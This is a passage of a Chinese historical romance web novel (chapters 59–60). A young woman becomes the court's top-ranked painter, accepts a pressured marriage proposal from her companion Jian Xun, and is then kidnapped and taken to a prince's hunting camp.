他恋恋不舍缩回了手,也停下了口中的动作,哑着声音安抚道:“是我失态,我不这样了,别,别哭……” 黄时雨手脚并用爬起,攥紧了前襟,又夺回自己的抹胸,“你滚,快走开,臭登徒子!” 她以为献身很简单,却不知还有这么多羞耻的花样,便当场反悔了,说什么也不肯配合,哪怕简珣发誓会让她很舒服,只是开始有一点点痛也不行。 “我不碰那里了,让我抱一抱好不好……” “滚啊!” 简珣抱着外衫被赶出了内寝。 是他莽撞了。 她是娇滴滴的女孩子,遇到他这样粗鲁的坏郎君害怕害羞理所当然。 等将来洞房花烛夜,自会有嬷嬷提前教她,那样她就不会害怕他了。 可是他憋的好难受,站在隔扇外声音颤颤道:“梅娘,好梅娘。” 一声声哀求。 第59章 像你 当值的丫鬟闭紧双眼佯装熟睡,夫妻床头打架床尾和,聪明的下人只需支起耳朵装糊涂。 黄时雨不应,简珣只好站在门外,少顷,兀自垂头丧气地躺在了外寝榻上。 方才那么大动静以及自己的哀求声想必被人听见了,可他也顾不得丢脸,伤心地侧过身而眠。 也不知是不是弄疼了她,忽然就像被踩到尾巴的猫,浑身的毛倒立,一下也不许他碰,还将他赶了出来。 她,怎能这样不讲理。 这一夜,黄时雨也没睡好。 次日初二,良辰吉日,天不亮就有礼官前来道贺。 黄时雨赫然发现除了二百六十两的优恤金,还有朝廷为画魁的额外赏赐,白银五百两,白绢两匹,茧绸两匹。 纵然心已轰雷掣电,她面上仍维持镇定,跪伏叩谢圣恩。 画道状元也有自己的琼林宴,披红参加画署的丹青宴。 参加宴会前首先前往画署领取象征身份的玉符和官袍,说是官袍其实也就只在下面流行这个说法,因为正九品至正八品才有真正意义上的官袍,而画员只是从九品,不够绿袍资格可确实也是朝廷命官,于是礼部为他们配备了统一的湘色袍服。 因她是今年的画魁,在统一的湘色圆领袍外又加了一条锦缎披红,闻大人亲自为她扎上的。 闻大人道:“数月不见,黄姑娘令人刮目相看,华山长若知你有今日造化必定欣慰万千。” 黄时雨鼻子一酸,“卑职定当尽心竭力报效朝廷,今后还要拜请闻大人多加指点。” 闻大人颔首。 今年五个女考生中了三个,除了黄时雨还有姜意凝与蓝素,就连画魁也是女考生,实乃空前盛况。 陆太后听闻这样的趣事,除了正常设宴流程,还专门提了召见三位争气的姑娘家。 觐见太后非同儿戏,三个姑娘家被连夜安排宫廷礼仪。 姜意凝与蓝素虽说是官宦世家出身,但为官的是她们的父辈,时常出入宫闱的是她们的命妇亲长,于她们本人来说从未觐见过太后娘娘,也毫无进宫经验,所以水平和黄时雨差不多,都得从头学。 初三、初四、初五三日学宫规。 初六进宫,三个姑娘先后来到了画署,画署在皇城内,与宫城仅有一墙之隔。 湘色的细布圆领袍,男女同款,既没有绸缎的亮泽也没有罗绢的飘逸清透,看起来又土又老气,正是爱美年纪的女孩子穿了少不得在心里抱怨。 蓝素和姜意凝互相瞟了眼彼此的衣袍,肉眼可见的嫌弃,却又凝住了目光,不由自主望住沐着曦光款款而来的黄时雨。 明明都是难看的湘色,显得人不够精神,偏她肤若凝脂,翠眉粉靥,犹若寒露芙蓉,新开碧荷,就连额头的碎发仿佛都比旁人家会长,长短有致,曲曲弯弯,每一分都恰到好处的慵懒。 一个人是怎么把清纯与妩媚结合的这么自然的。 饶是看不上黄时雨姿色的蓝素也不禁呆了。 这样的美人,何止是贵人,男人,或许都喜欢捧着她的吧。 但她竟是今年的画魁,令人一度怀疑有内幕。 可即便是内幕,也得有真本事。 一无是处的人进不了画署。 蓝素狠狠咬住下唇。 美貌和才华都有,更令人堵噎。 黄时雨朝姜意凝与蓝素微微欠身,姜意凝和蓝素也还礼,这是大康平级之间的礼节。 闻大人恰好也到了。 三位姑娘随同闻大人走向了宫城。 早有内侍宫人守在延政门,见到闻大人,为首的一位太监上前招呼,与闻大人互相行礼,这是宫里有品级的大太监,遇到了得称公公,亦可称官职名。 但宫里内侍繁多,有品级的也不少,不可能都认识,最保险的法子是统一称公公,既包含了敬意也不容易出错。 宫里规矩极多,连抬头都可能是大不敬之罪,黄时雨一路揣着手垂眸,亦步亦趋跟随闻大人的脚步,一旦中途遇上不知什么人的仪仗还得弓着腰后退,避至墙根儿,等贵人走远再重新出发。 这种鬼地方待一天得疯,除非是主子。 她在心里腹诽。 进了永寿宫,香风习习,黄时雨忍不住抬眸睃了一眼,好美呀,轩峻壮丽,楼宇巍峨。 短短一瞬,却是惊鸿一瞥,不意这一瞥也瞥见了一个许久许久未见的身影——肃王。 韩意淮怀里抱着一只猫儿立在朱红栏杆前,垂眸望着宫道上款步而行的女孩,明显长高,穿着官袍头戴乌纱帽,已是画员大人。 即便身为肃王殿下也不是想见谁就能见,比如别家内宅的女人。 他写了许多信,银鹤代笔,却因梅娘常常无法出门而错过。 光阴如梭,应当把她忘记,去喜欢漂亮且知趣的姑娘,然而他还是会时不时想起她。 想她笑的模样,哭的模样,甚至生气的模样。 还有傻傻跟在他身边进京的勇敢。 而今,陡然再见到活生生的梅娘,心底深藏的火热又忍不住沸腾。 韩意淮轻轻地观察着。 黄时雨慌忙垂下头。 太后娘娘宛若欣赏花儿似的打量三个脱颖而出的姑娘家,尤其今年的画魁,据说阿淮为了她,与画署的人争得急赤白脸,各说各有理,导致画榜延时多日。 最后由闻遇出面调和,考虑再三,最终定下了黄时雨。 首先黄时雨肯定有实力,这点闻遇不否认,却也认为肃王含了个人情感,故而双方才僵持不下。 但不管怎么说,运气也是实力的一部分,这个美貌又有才华的姑娘,是实至名归的画魁,拥有“陆宴”的偏爱。 但每一位画魁的诞生不都是因为某个人的偏爱么? 吸引他的偏爱,也是梅娘的能力。韩意淮唇角不自觉弯起。 三个姑娘都很争气,给太后磕头规规矩矩,没有一丝错处。 太后娘娘慈和大方,不仅褒奖她们为女子典范,还赏了不少宝贝,黄时雨忽然觉得皇宫也不算可怕,天天来磕头都行。 贵人规矩多,但贵人的赏赐却都是实打实的分量。 又想起御赐之物无法变卖,黄时雨合计一番,登时又有点灰心。 姜意凝与蓝素倒不是很在意价值,反倒更看重其中的荣耀,自己也算是光宗耀祖了一回。 几人捧着赏赐拜别太后娘娘,原路返回。 将将离开正殿,踏上鹅卵石路,走在前面的闻大人忽然顿住脚,“殿下。” 黄时雨一怔。 韩意淮已经走到了她身边。 大家都不是傻子,反而是人精,肃王都这么明显了,他们再装聋作哑只会徒惹贵人生厌。 于是,面色复杂的众人,齐齐盯着地面,拉开了与黄时雨的距离。 “你们?”黄时雨不可置信地睁大眼睛。 她手足无措,他们却火烧屁股似的迅速拐了弯,眨眼不见了踪影。 却说黄时雨也不傻,搁在外面尚且敢大呼小叫,眼下竟一声也不吭了,透过眼角斜瞄韩意淮,提了十二万个小心。 却瞄到了他怀中猫。 猫儿也在好奇端量她。 肃王的猫儿与泽禾的不太一样,鼻尖又圆又粉,皮毛油光水滑,仿佛绸缎,竟一点也不怕人,反而慵懒地窝在肃王怀中,骨碌碌的圆眼睛真儿就像猫眼石。 “喵~”猫儿对着黄时雨叫了声。 黄时雨咽了下。 这猫儿高低是个猫公主,离这么近也没有臭臭的味道。 “喜欢吗?”韩意淮挑眉看着她笑。 黄时雨“啊”了声,点点头,又摇了摇头,“殿下的猫儿好看。” 韩意淮看着她微垂的眉眼道:“喜欢也不给你碰的。” 我也没要碰。黄时雨又瞟了猫儿一眼,垂在身侧的两只手轻轻捏了捏衣衫。 “小木头只是长得乖,其实又犟又凶,目下还不认识你,你若碰了它,定是要挨几爪子。”韩意淮修长如竹的手指轻轻挠了挠猫儿的下巴,“就像你一样。” 黄时雨的脸颊微红,吓得。 不过肃王殿下不像是睚眦必报之人,这么说或许就是点她一下,并非治罪之意。 韩意淮趁着猫儿不备,捏住它后颈皮提了起来,“呐,给你摸。” 小木头登时翻脸,四爪胡乱挥舞,却拿他一点办法也无,只能认命地盯着黄时雨,警惕不已,仿佛在警告她不要动手动脚。 黄时雨连忙将双手藏于身后,劝阻:“殿下,放了它吧,它怕生,我也不想摸它。” “好。”韩意淮将一脸晦气的猫重新搂在怀中。 小木头哇哇大叫控诉韩意淮的“失礼”,在他手背咬了口,留了一小撮白印,到底是养熟了,并不敢真伤了主人。 黄时雨抹了把汗,悄然后退一步,好大的脾气,鬼才想摸它。 韩意淮偏着头道:“你看,我没骗你吧,它与你一模一样,是真的敢打我。” 这话黄时雨哪里敢接,她用力攥着衣摆,唯恐惹下什么祸端,“殿下,我的同僚都走了,我也不能再待下去,万一触犯了宫规就,就……” 韩意淮点点头,“好,走吧。” 他抱着猫儿,迈着漫不经心的步子,黄时雨只好跟上。 韩意淮亲自送她出了皇城。 事情得循序渐进,好不容易有所缓和,他已经学会用手段对付这个机警又狡猾的姑娘,所以只送她出了含光门,不多不少正正好。 目送黄时雨走远,他才对身边人道:“盯着她些,莫要她被人骗了。” “是,殿下。” 黄时雨看上了保宁坊的宅院,一个人带着一个丫鬟跑前跑后,完全就是初生牛犊不怕虎。 韩意淮却益发开心,她这般独立,又放着简府不住出来买房,那是不是就像他猜测的那样呢? 只要她不住在简府被简珣睡,他就觉得这个世上任何事情都可以和解。 否则,他真的快坚持不下去了。 但他不会干涉她的交易,让人盯着无非出于防人之心不可无,万一卖家心存歹念与坊正沆瀣一气,那姑娘家可太危险了。 若那卖家是正经卖家,不管要价高低他都不会管。 这厢黄时雨没想到多日不见肃王非但不霸道还很好说话,一点也未为难她。 心情不由大好。 她与琥珀坐着雇来的青帷骡车,绕过太平坊,醴泉坊,聚德坊,径直驱往保宁坊。 那里有她心心念念的宅子,非常适合她与姐姐生活。 会试一般安排在次年三月左右,而殿试则在会试结束后的几天到一个月不等。 国公府连日来已经婉拒了数门亲事,皆是四品京官以上的人家。 安国公坐在书房山与简珣说话。 “你母亲可有为你物色合适的人家?”他问。 简珣回:“我阿娘的想法与伯祖父您一样。” 安国公笑道:“那你的想法呢?” 婚姻之事当然得父母之命媒妁之言,但也不是全然不考虑儿女感受,在长辈把关的前提下,后辈若能选个称心如意的再好不过。 一个男子,自己过的舒心,后院也安稳的话,才能更好的应对外界风雨。 与不喜欢之人结合,痛苦的不仅仅只有女子,男子的日子也不好过。 简珣面色微红,目光却益发坦然,毫无鬼祟闪躲,“侄孙不敢隐瞒伯祖父,心里确实有了想法,如今越看越相宜。” 安国公道:“哦,说来听听。” 简珣告了个罪,一五一十交代:“她阿爹今年刚上任泽禾县令,想必不出五年靠自己就能正五品,她与侄孙更是青梅竹马,彼此知根知底,我阿娘也挺喜欢她的性子,而且她还是今年的画魁。” 梅娘真的很争气。 倘若伯祖父实在看不上正六品,他可以再努力,争取帮老师两年内升任正五品。 安国公仔细听着,正六品的县令低了些,但画魁又使他紧锁的眉宇缓缓展开,“精于画道的小姑娘倒不多见。” 简珣屏气凝神,不敢错过伯祖父每一寸的表情变化。 安国公在思考中注视了简珣片刻,道:“婚事仓促,人选若也仓促,将来后悔可就来不及。” “侄孙,不后悔。”简珣轻声道。 安国公笑了两声。 他不是很喜欢强迫年轻人迎合自己,但也不喜欢对方因为年轻犯傻,此事容他仔细想一下。 “下去吧,我考虑考虑。” “是,侄孙告退。” 保宁坊的坊正怎么也没想到这么快就能再见到黄时雨。 小姑娘上来就要先前看上的二进宅院,但卖家要四百两,故此来请坊正圆融一下,可否再低些。 双方为此砍价砍了整整三天,坊正和卖家也终于得知这个漂亮又古怪的姑娘竟是今年的画魁,怨不得非得买保宁坊,从这里上衙可太方便了,外地官员都很喜欢这里。 那卖家也是个崇尚风雅的人物,得知黄时雨是画魁本魁,当即让到了三百五十两。 整整五十两的让步,黄时雨见好就收,当即拜谢坊正与卖家。 时下房产交易,需双方去府衙签订地契转让,盖章后各自上交府衙一部分银钱,才算契成。 初九重阳节,黄时雨拿到了人生第一章地契,从此在京师有了立足之地。 她发现不管多么不可思议的事儿,只要敢尝试就有希望。 她和琥珀凭着一股不怕死的劲头,在京师买了第一套宅院,还给宅院置办了床铺桌椅箱笼等生活必需品,更惊喜的物件将来再慢慢置办,不急一时。 眼前最重要的事先回泽禾,向阿爹坦白一切,然后带着姐姐回京。 琥珀看起来比她还兴奋,跟着二小姐什么都会有的。 两人回到简府,趁简珣不在家小酌一杯,憋着笑意庆祝。 这日黄时雨做了一夜美梦。 上天对她不薄。 能有几个姑娘似她这般敢想就真的会拥有的。 初十这晚简珣终于回到宣道坊,来与黄时雨商议明日启程回泽禾,正中黄时雨下怀。 她拉着他衣袖来到内寝,两人关上隔扇说悄悄话。 丫鬟只当二人小别胜新婚,全都自发的退出。 关于买房以及以后的打算,黄时雨全无隐瞒,仔仔细细说给了简珣听。 这是她在京师唯一的朋友,自然有权知晓她所有的人生大事。 黄时雨满脸兴奋,“等我把姐姐接来安顿好,再邀你去我家做客。” 说着还将好几张银票塞进简珣手里,“阿珣,除了姐姐,我觉得你是世上对我最好的人,可是亲兄弟也得明算账,给,这是五百两银票,先给你这些。”她的一双眼睛亮晶晶,鲜活而动人,笑眯眯的,“阿珣,你帮我了那么多,此番回去我也要站出来维护你,不让你替我担责,我自己向阿爹和你阿娘坦白。” 简珣心不在焉瞄了眼手中银票,然后放在了一旁的柜子上,转而轻轻拉起黄时雨纤嫩的小手,“傻瓜,主意是我出的,你人是我带走的,跟你有什么关系。” “可你都是为了我,我可不是什么白眼狼。” 简珣嘴角上扬,“原来梅娘一直都知道我对你最好。” 黄时雨小声咕哝一声,“只要不欺负我,你就是最好的。” 简珣笑道:“那有点难,我喜欢‘欺负’梅娘,但一定是最疼梅娘的。” 他垂眸亲了亲她的手指,“梅娘,我们成亲吧。” 黄时雨以为听错了,“你要跟谁成亲?” 简允璋望着她,“跟你。” 第60章 激烈 顷刻间,黄时雨仿佛呆住了,望向简珣的目光充满了匪夷所思。 她嘴唇动了动,“可是……” “没有可是。”简珣平静地打断她,声音里听不出半分情绪,“对于梅娘来说,我就是最好的选择。” 他轻轻握着她的手放在她心口,“我们在一起生活的这段日子,你也很开心对不对?” 黄时雨说不出话,羽睫乱颤。 “我明白,你想拖着不嫁人,可那不现实,女大当婚,只要你阿爹为你挑选的人家没有大错处,早晚你都得嫁。”简珣轻轻捧着她的小脸,“梅娘,与其冒险赌一个陌生男子像我一样呵护你,不如直接嫁给我。我知道你也懂的,对吗?” 黄时雨眼眶酸酸望着他,她又不是无知无觉的木头,怎会不知简珣有多疼她,这样的疼爱可遇不可求。 简珣知道她听了进去,这本来就是一件百利无一害的事,梅娘并不傻。 “可你为何要娶我?”黄时雨当然知道嫁给简珣就是最好的选择,但这件事逻辑不通,想不通的事,她就直接问了他,“我们之间不至于好到你甘愿牺牲自己,你傻了吗?” 完全不相匹的门楣,且不说长辈那关如何过,还有他的鸢娘怎么办? 简珣蹙眉凝住她,几番欲言又止,嗫嚅道:“因为,于我来说,你也是最好的,你的一切都与我相配,与其娶个陌生的姑娘,我宁愿娶你。我喜欢梅娘的香味,只想跟你睡觉,换成别人,我,我不习惯……” 琢磨了一下,寻思不对味,他连忙解释:“不是,我不是那种意思,我的意思就是单纯的睡觉,不是,我也不是不喜欢那种事,我想要的……” 越解释越乱,他的脸色绯红一片。 黄时雨听得一头雾水,可是又好像听懂了一点,粉腮肉眼可见的涨红。 简珣努力让自己冷静下来,面无表情道:“明年会试前,我若不想成为‘榜下捉婿’被捉的人,就得提前成亲。” 黄时雨震惊不已:“怎会如此仓促!” 简珣点点头,痛苦又纠结地望着她,“所以你得帮我,这可是你答应我的。” 机会千载难逢,错过这一次,或许就再也没有机会,连上天都在帮他。 黄时雨下意识地扯紧了衣摆,“原来你要我帮忙的事就是嫁给你。” “嗯,除了你,没有谁家姑娘愿意嫁我,我只有你。”他可怜巴巴道。 黄时雨难以置信瞪着他。 简珣急忙道:“真的,没骗你。” 说罢,便将懿阳公主的事一五一十交代,包括皇帝如何试探的伯祖父,以及高人在伯祖父跟前透的底。 描述得绘声绘色,令黄时雨越听越怕。 当他讲到再不成亲就要被捉去做驸马,天天给公主磕头,受公主欺负时,黄时雨已经泛上了泪光。 简珣咽了下口水,梅娘心软了,望着他的目光都是软的,也酥软了他半边身子。 他艰涩道:“嫁给我就相当于得罪公主,那些家人在京师为官的,唯恐仕途受到影响,都不肯与我结亲,只有梅娘你心疼我,一定会帮我的对不对?再一个,公主插手不了画署,也管不到泽禾。” 梅娘迟疑道:“与你成亲,我们家真的没有危险吗?” 简珣连忙保证:“我发誓,绝对没有,也不让人欺负你,永远护着你!而且我阿娘近几年不回京,咱们府里就你一个女主子,谁也不能约束你了,只要你别辜负我,我什么都依你,好不好?” 他知道她最喜欢什么,这样自由的日子只有他给的起。 他与她是奇迹,机会只有这一次。 黄时雨不是那种占了便宜偷着乐的人,对于简珣,多少是愧疚的,“可是你一直在吃亏,连幸福都要搭上……” 简珣连忙将她抱在怀里,疼爱她就是他的本能,“梅娘便是我的幸福,难道你忍心看着我给公主做奴才吗,每天挨打受骂?” 光是想一下黄时雨都觉得心痛,简允璋这样的公子,满腹才华理应用来治国平天下的,怎能做贵人的玩物! 她仰脸盯着他眼睛,“那鸢娘怎么办,她也不敢嫁给你吗……呃……” 简珣用力堵住女孩的唇,与她深深地纠缠,良久才松开一丝缝隙,“我与她不合适,只有你是最好的,不要再提她了,我想与梅娘每天在一起……” 黄时雨还想再说什么,却苦于檀口被堵,为何简允璋总是喜欢这种唇舌交缠…… 她被他按住了亲得喘不上气,这一夜,简珣又给她摸了她好奇的东西,不停地亲着她,说是婚前演习。 “梅娘,梅娘,只要你依了我,我什么都听你的,我就看看,不,不做别的,你闭上眼就不怕了……”他焦急地渴求。 男人在床上的好听话不要钱一样的往外抖。 此时的黄时雨还未完全见识到简珣在帷帐的花样与无赖,只是单纯的害羞,无论如何也不许他像上次那样亲亵,只死死拽着自己最后的布料。 他的胆子大了,心也野了,还想霸王硬上弓,被黄时雨一脚踹下了床,再一次赶去了门外过夜。 却也因为总是不满足他,导致婚后很长一段时间黄时雨除了月事没多少休息的机会。 时也命也运也,人生之大机运要么不来只将人活活蹉跎二十余年,要么短短须臾劈头盖脸砸下一堆。 黄秀才以为中举,正六品县令,女儿是简允璋的贵妾就算他人生巅峰,却做梦也没想到简允璋直接上门提亲。 此事简夫人程氏的惊讶程度绝不亚于黄秀才,不,如今得改称黄县令。 即便京师安国公府已提前与泽禾通了书信,详细地商议过,她也觉得无比憋闷,隐忍再三,到底是选择了顾全大局,默默允下这门亲事。 事到如今,从黄县令中举,到放妾改求娶,一桩桩一件件,简珣在其中动了多少手脚,包括从何时开始布的局,程氏又怎会反应不过来,然而再阻止已经来不及。 程氏又恼又恨,恼简珣因儿女私情一心抬举黄家门楣,自甘下贱;恨自己过于松懈,养肥了简珣的胆量,令他益发敢自己拿主意。 连婚姻之事都视同儿戏。 简珣回到泽禾当晚就结结实实挨了一顿,跪在家里的小祠堂忏悔。 他长这么大还未真正挨过打,程氏最严厉时也不过敲他几下手心,这回是脱了上衣跪在地上被曹叔执竹篾抽得鲜血淋漓。 程氏全程坐在上首督刑。 直打的曹叔也慌了,随同满屋子下人跪地求情。 “你如今眼里哪还有我,凡事都能给自己拿主意,”程氏冷笑,“你糊弄的了京师可糊弄不了我,我能不知你心里想的什么?黄家那丫头要考画署,你二话不说就还她自由,拿咱们家的银子玩儿似的供着她,那丫头也算争气,考了个画魁,这就把你拿捏的恨不能跪下捧她,眼巴巴地求娶。” 程氏怒不可遏,并非瞧不上黄家门第,这门亲事本来也不需要太看重门第,她怒的是引以为傲的儿子受人拿捏,一点男子汉的气魄都无,连她这个亲娘也敢糊弄。 简珣自知理亏,全程不敢有半句哀嚎与求饶,只给程氏叩首请罪,却决口不提他那“小媳妇”一句,唯恐惹了程氏生厌。 果然同他那短命的爹一模一样,娶了媳妇忘了娘,程氏喉咙涌上苦涩,想起了曾经慎远对她的诸多维护与疼爱,泪如雨下。 简珣膝行上前为母亲擦干眼泪,“阿娘,不要难过,都是我的错,您怎么罚我,我都不会心生怨怼,以后我与梅娘一齐孝顺您。她是个特别乖巧心软的姑娘,您一定会很喜欢她的……” 说起心爱的姑娘,话匣子也就打开了,他羞涩道:“您于画道也是个人物,自是比我清楚画道之不易,梅娘靠自己考了画魁,是当之无愧的女状元,多聪明的脑袋呀,那她生的孩子将来肯定是天底下最好最聪明的,到时您只管含饴弄孙。” 程氏终于破涕为笑,又板着脸横他一眼,啐道:“没用的东西。” 简珣面红耳赤。 黄家的丫头并没那么糟糕,况且事情已成定局,而自己也打了阿珣一顿狠狠出气,程氏不忍心再将一桩喜事打破。 自从黄秀才高升黄县令,黄家一家便搬进了县衙后院,也就是县令的专属府邸。 为了营造个好名声,黄太太迫不得已接黄莺枝回家,总放在甜水铺子万一被有心人拿去做文章,岂不是坏了老爷仕途,她比黄县令还紧张。 十一这日黄时雨归家,还带了头衔,从九品的画员。 黄太太“啊”了声,梅娘也能做官? 梅娘不止能做官,画署还有不少更高级的女官。 黄太太登时有种事情逐渐超出掌握的失控感。 这厢,黄时雨时隔一年再与姐姐相聚,攒了满腹好消息,都不知该从何说起。 那就一件一件说。 于是,她当着琥珀的面将这段时间发生的前因后果一股脑倒出,各种匪夷所思,难得黄莺枝从头到尾还能冷静聆听。 论大胆出格,黄莺枝不及黄时雨半分。 黄时雨抱着姐姐胳膊道:“姐姐,我是世上最幸运的姑娘了,所得皆所愿,往后咱姐妹俩就在京师奋斗,我带你去西市玩,保管一次就不想离开了。” 黄莺枝轻轻擦了擦眼角,“你怎么那么能耐,就不害怕的吗?” “怕,都快怕死了!可是不努力一把,日子也很糟糕,我不甘心。”黄时雨歪着脑袋,投向姐姐的目光温暖且诚挚,“姐姐,我不甘心没有热爱没有自由,给人当妾活一辈子。你看,我成功了,所以简允璋才会娶我,他要给我自由和正妻之位,往后再没有什么阻止我的画道。” 倘若她自己不争气,简允璋纵然心里想实际上也无法娶她。 这一切都是她努力的结果。 黄莺枝听她满口画道,便问:“那你喜欢简允璋吗?” “喜欢啊。”黄时雨想也未想就回答,“我们关系很好,也算知根知底,哪怕吵架都不会让对方难堪到下不了台,并且他这个人比姑娘家还讲究,特别整洁,香香的,尤其擅于倾听,同他说话一点也不累,有时我不开心,他找我说说话,心情立时就不一样。” 虽然他偶尔嘴欠,也会招惹她,但他又比任何人都会哄她开心。 黄莺枝微微点头,又问:“就只有这些吗?” 黄时雨拧眉思索,“暂时只想到这些,反正他性格好对我也好,将来断不会打我骂我的。” 时下疼爱妻子不打不骂就是好男人标准。 走了大运的黄县令扬眉吐气,成为泽禾风云人物,更令他风头无两的是九月二十,简解元向黄家提亲,求娶老二黄时雨。 两家很快敲定了婚期来年二月初十。 流水似的聘礼犹如一条红龙抬进了县衙后院。 三媒六聘,纳吉纳征,还有一对活蹦乱跳的大雁,热热闹闹。 当年黄县令为人诟病的美梦,如今来看竟几乎应验,除了简允璋还不是状元。 那场梦红日当头,富贵无边,状元给他磕头,以他的身份,能让状元磕头的情况不就是成为状元的爹,严格称呼应是岳丈。 黄县令有种直觉,明年殿试允璋将不可估量。 这门亲事承载了他此生的厚望与寄托,几乎是掏干大半压箱底准备了嫁妆。 黄太太心如刀割,含泪拟定嫁妆单子。 理智上很清楚,唯有嫁妆做足脸面自家也才有脸,否则丢人的可就不单是梅娘,然而情感上根本无法控制眼泪,这些都是她省吃俭用攒下的老底啊。 因为定亲事宜,简珣暂且留在泽禾,比黄时雨迟些时日才能回京。 而黄时雨如今高低也是个官,是官就得按时上衙,等闲不得缺席,于是九月十六她就快马加鞭回京,正式开始 “为官的生活”。 因为她现在的身份是简允璋的未婚妻,未婚妻自然就不能住在未婚夫家里,尤其长辈不在家的情况,所以她与姐姐搬进保宁坊,加上琥珀和柳儿总共也才四个人,便又买了一个烧饭娘子,一个粗使婆子。 六个女子正正好好。 姐妹二人商议将来有合适的小厮再买一个安排在倒座。 有了姐姐作伴,情感与生活就皆有了依仗,黄时雨每天有使不完的力气,下了衙也只想回家,哪儿都不去。 因保宁坊治安无虞,风气清正,黄时雨暂居在此上衙又极为方便,故而简珣也不便反对。 私心里,他更想将她安置在金诚坊的宅邸,又觉得于她名声无益,只好作罢。 黄时雨常想,倘若廿二那日下衙,不去惦记西市的金鱼就好了。 那日,她只是想去买几尾鱼,给姐姐一个惊喜,才将小毛驴拴在木桩上,忽然,头就开始晕眩,不得不以手扶额,稳一稳。 直觉告诉她赶快离开,谁知将将迈开一步,头晕更甚,她心知不好,“救命,救命,有没有人帮帮我……” 殊不知在旁人看来,她的嘴皮子动也未动。 无声的呐喊。 黄时雨浑身冒冷汗,两只脚仿佛黏住了,然后耳边就听见了熟悉的腔调:“这是我孙女,染了风寒,我着急带她去医馆,她却想先买鱼。” 是丐婆的声音。 周围的人七嘴八舌,批评她任性,又帮忙将她扶上毛驴,任由丐婆牵走了。 一大颗泪滴从黄时雨眼角滑落。 等她再醒来发觉暮色四合,周围黑漆漆的,冷风呼啸。 她奋力挣扎,尖叫着喊救命就被生生塞了一颗圆溜溜的东西,咕咚顺着嗓子眼滑落。 黄时雨怔住了,下一瞬扭的更起劲,无奈双手双脚被人绑住,连抠喉咙催吐都做不到。 丐婆扛着她健步如飞,“别再折腾,省省吧,这里荒山野岭,我便是把你放下,也不过是成全了野狼,用不了一个时辰你就化作它们腹中餐。” 仿佛为了响应丐婆的威胁,旷野传来了几声幽幽狼嚎,由远及近,如鬼似魅,钻进耳朵深入心肺,寒凉如冰。 “你为何要害我,要带我去哪里,方才是不是对我下了毒?!”黄时雨伤心道。 “你的问题好多呐。”丐婆小声咕哝。 “我是朝廷从九品画员,明儿点卯,只要有人发现我不在,你就惹了大事。” “少唬我,你明天旬假。” “那后天,后天也一样!但凡我出了事,天子脚下,你逃不了的。而且,”黄时雨的声音都在颤抖,一半冷的一半吓的,“而且,我阿爹现在是泽禾县令,我也与简允璋定了亲,你害我,没有好下场!” 丐婆冷笑一声,“我连县大牢都坐过,还怕你爹?” 黄时雨做梦也想不到丐婆裹挟她来到了雪阳山猎场,专供宗亲权贵游乐的地方。 举凡男子骨子里就没有不爱狩猎的,狩猎就是男子的本性,肃王也不例外,从中不仅能体会到骑射的乐趣,也有一种排兵布阵的爽感。 明月当空,侍卫安营扎寨,点燃篝火烤肉,亲卫上前服侍肃王解下箭囊,便听见外面一阵喧哗。 不一会,有人来到帐外回禀:“方才闯进一个奇怪的刺客,被杨大人射伤,本想将她生擒却没想中了奸计,竟让她脱身,目前杨大人正在四下加强警戒,又向东营传讯,定让那刺客插翅难逃。” 韩意淮没想到这年头还有刺客,且是冲他来得,“尽量抓活的,抓不到死的也行。” “是,殿下。” “下去吧。” “殿下,那刺客留下个姑娘,看起来不像刺客。” 韩意淮蹙了蹙眉心道:“让杨大人审吧。” “是。”侍卫走了两步,又迟疑道,“可那姑娘一直嚷嚷自己是从九品画员,被老婆婆半道劫持在此,身上确实也配有画署玉符。” 那么漂亮的女孩子,交给杨大人不死也得脱层皮,侍卫一时好心多说两句。 韩意淮却仿佛心有灵犀,箭步上前撩起营帐的门帘,“她在哪儿?” 片刻之后,韩意淮见到了蓬头垢面,啼哭不止的黄时雨。 只见她小脸上的泥垢混合着眼泪,脏的像只小花猫。 韩意淮哭笑不得,连忙上前亲自为她解开绳索,“好委屈呢,快起来。” 说罢,又狠狠瞪了不知怜香惜玉的杨大人一眼,“下去。” 杨大人与侍卫面面相觑,连忙退下。 韩意淮用自己的玉盏倒了杯茶水喂黄时雨喝下。 一口气喝了三杯,她总算从惊吓中恢复神志,哭着将丐婆挟持自己的事尽数倒给了他听。 “殿下,这是哪里,我得回家,呜呜呜,再不回去我姐姐定会担忧的。” “雪阳山。”韩意淮道,“现在不行,纵使勉强回去坊门也早已关闭,你夜不归宿便要闹得人尽皆知。” 黄时雨面色一灰。 韩意淮问:“那疯婆子除了绑你,还有无其他无礼之处?” 黄时雨仔细回忆,“我也不清楚她是不是对我下了毒,只觉得那药丸又大又苦。” 她无比后怕。 韩意淮立即传了御医。 御医连夜问诊了这个莫名其妙出现肃王帐中的姑娘,竟完全看不出有问题,又问黄时雨有无腹痛头晕等不适症状,她也说没有。 御医道:“殿下,下官建议不若再观察两日,因为姑娘身上实在查看不出任何症状,即便神仙来了也束手无策。” 韩意淮点点头,“好。” 御医与侍从鱼贯退出,只留下满脸愁容的黄时雨与韩意淮,夜深人静,烛火轻轻摇曳,孤男寡女,让人无端地紧张。 韩意淮的喉结上下滑动,不由自主磕巴,“呃,我让银鹤进来,你且在这里将就一晚,明日我再送你回城。” 难得黄时雨乖巧,一句也不敢反驳,老老实实点头应下。 韩意淮感觉脑门有点热,起身大步离开营帐吹风,冷静。 银鹤的身量比黄时雨高一些,不过也生得纤细苗条,故而她的衣服黄时雨穿起来仅稍微长一些,倒也不太影响走动。 “黄画员,这是奴婢全新的衣物,从里到外一次都还未上过身。”银鹤浅笑迈入屏风后,将衣物放在架子上,亲自服侍黄时雨沐浴。 这姑娘真个儿快把殿下的魂儿勾出来。 肃王的浴桶,竟直接让她用了。 于是银鹤对黄时雨便益发恭敬有礼。 黄时雨连忙道:“有劳银鹤姑姑,幸亏姑姑我才能遮丑,岂敢有半句嫌弃,我可以自己洗的,请姑姑不要为我沾湿衣裳。” 银鹤是有品级的女官,尊称一句姑姑准没错,论品级也肯定比她高,她哪有资格受其服侍,更别说以“奴婢”自居,简直是要折煞黄时雨。 深夜,营帐外,侍卫三五成群围坐一团,空气中飘散着浓郁的烤肉香味。 因为有大片的篝火与值夜侍卫,夜晚出来觅食的大小动物皆绕路而行。 韩意淮纡尊降贵歇在了杨大人营帐,翻来覆去睡不着,忽听帐外传来银鹤求见的声音。 韩意淮随意披了件披风,召她进来,“何事?” 银鹤不敢隐瞒,“黄画员情况不大好,初时还算清醒,奴婢喂了她一点水,不意忽然发起高热,也开始说起胡话,云里雾里的,奴婢不敢再耽搁。” 